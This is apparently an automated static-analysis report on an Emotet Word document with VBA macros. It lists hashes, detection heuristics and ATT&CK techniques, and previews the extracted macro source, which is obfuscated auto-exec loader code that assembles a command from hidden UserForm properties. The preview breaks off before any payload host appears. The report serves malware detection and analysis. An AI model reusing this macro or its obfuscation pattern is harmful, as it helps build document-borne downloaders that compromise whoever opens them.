Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 da16ecb2cd4b85d2…

MALICIOUS

Office (OLE)

81.4 KB Created: 2019-12-17 06:11:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 9d2d39bdb54d3e423165584729b001ef SHA-1: 435f0b49142041e1e0ef122d9baee25cf974f596 SHA-256: da16ecb2cd4b85d2e959c708ee7d378609fd5bf2c3a072246981c2ef4eee2763
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'auto-exec' heuristic firings. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' suggests the macro uses a hidden UserForm to execute commands, a common technique for Emotet. ClamAV also explicitly identifies the file as 'Doc.Downloader.Emotet-7461037-0', confirming the family and its downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9771 bytes
SHA-256: f36d31dd2037fce4b4ab09662781fc8b2e392a945e4b72e445fa5d4bff2d3e30
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Apgpkwit"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ettfxginvep, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Yiyrdujuikl = Vmpsqycsphu To Eercjwtm
         Vcadkiyhlntq = Tfewyiaetcq
         Fbosdkut = Vskraikhnvc
Next
Select Case Rwncqqjxm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Hhqyqbclnpr = Qisgarsklfxpv To Bjwkavjpf
         Gquvemkd = Ojcyfdvbs
         Rxjetgkcgtnd = Bpqbleshxm
Next
Select Case Murnnmuhptkr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Krvtnnoql = Sziakxdevtbe To Sjcbebomksq
         Yfgtvehh = Qblgscnjnsd
         Mpgdffppj = Eypzfzvhfula
Next
Select Case Wkwjdmadbteo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ltawyvwjrj
End Sub

Attribute VB_Name = "Wwppglovlku"
Attribute VB_Base = "0{39650168-3498-49EA-8446-FFCEA92E7B80}{5D43C2C4-7F3F-4F31-8CE8-05887EC46B35}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tiuomrkk"
Function Baswvvyekxdq()
   For Ioqfyjaqdplhc = Gbydaecbqhg To Almiawhlbmiw
         Yjqoomwics = Rgnaxrrhqrd
         Gyffoqhhv = Ztsewsjufkeb
Next
Select Case Oqelthgn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xmblvihztcof = Apgpkwit.Ettfxginvep
   For Wbebwsgpqrn = Kscvvpmgbsmr To Zuhppiurqjuh
         Axagfluwf = Qlivjsjs
         Vicxlztct = Aggdrgmtydo
Next
Select Case Zxmwgrlppye
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vgjijvycxto = Xmblvihztcof + Wwppglovlku.Prarinabhbxs + Wwppglovlku.Rkataqriuq + Wwppglovlku.Dswpxqftowi
   For Pvcshvahwn = Gnmhtlrepfw To Oqkzmzsj
         Kwlrpxgiiwls = Jijnjtjztqse
         Jolhesblh = Gjxnmpwp
Next
Select Case Dqezillduzk
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Oyviiawlnoxdl = Vgjijvycxto + Wwppglovlku.Mhnftesdfwmy + Wwppglovlku.Wvysfqwu
   For Lzjqktswnhg = Prfdzogyrykht To Nqboaokrsjg
         Yqrhweaw = Copptayjrqd
         Frwkeznttteaa = Kocskaza
Next
Select Case Rrtaoezpulqat
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            Dn
... (truncated)